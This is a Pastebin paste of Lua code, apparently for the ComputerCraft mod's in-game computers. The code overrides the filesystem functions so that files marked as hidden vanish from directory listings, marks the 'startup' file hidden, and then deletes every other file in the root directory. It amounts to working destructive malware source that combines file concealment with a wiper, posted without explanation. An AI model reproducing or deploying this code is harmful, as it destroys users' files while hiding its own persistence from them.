Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local hidden={}
- local nativelist=fs.list
- fs.list=function(path)
- local tList=nativelist(path)
- if path~='' then return tList end
- local i=1
- while tList[i] do
- if hidden[string.lower(tList[i])] then table.remove(tList,i)
- else
- if string.sub(tList[i],-1)=='~' then tList[i]=string.sub(tList[i],1,-2) end
- i=i+1
- end
- end
- return tList
- end
- local nativeopen=fs.open
- fs.open=function(path, mode)
- if mode=='hide' then hidden[string.lower(path)]=true return end
- if mode=='show' then hidden[string.lower(path)]=nil return end
- if hidden[string.lower(path)] then path=path..'~' end
- return nativeopen(path, mode)
- end
- local nativedelete=fs.delete
- fs.delete=function(path)
- if hidden[string.lower(path)] then path=path..'~' end
- return nativedelete(path)
- end
- local nativecopy=fs.copy
- fs.copy=function(fromPath, toPath)
- if hidden[string.lower(fromPath)] then fromPath=fromPath..'~' end
- return nativecopy(fromPath, toPath)
- end
- local nativemove=fs.move
- fs.move=function(fromPath, toPath)
- if hidden[string.lower(fromPath)] then fromPath=fromPath..'~' end
- return nativemove(fromPath, toPath)
- end
- local nativeexists=fs.exists
- fs.exists=function(path)
- if hidden[string.lower(path)] then path=path..'~' end
- return nativeexists(path)
- end
- fs.open('startup','hide')
- local tList=fs.list('')
- for i=1,#tList do
- pcall(fs.delete,tList[i])
- end
- tList=nil
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement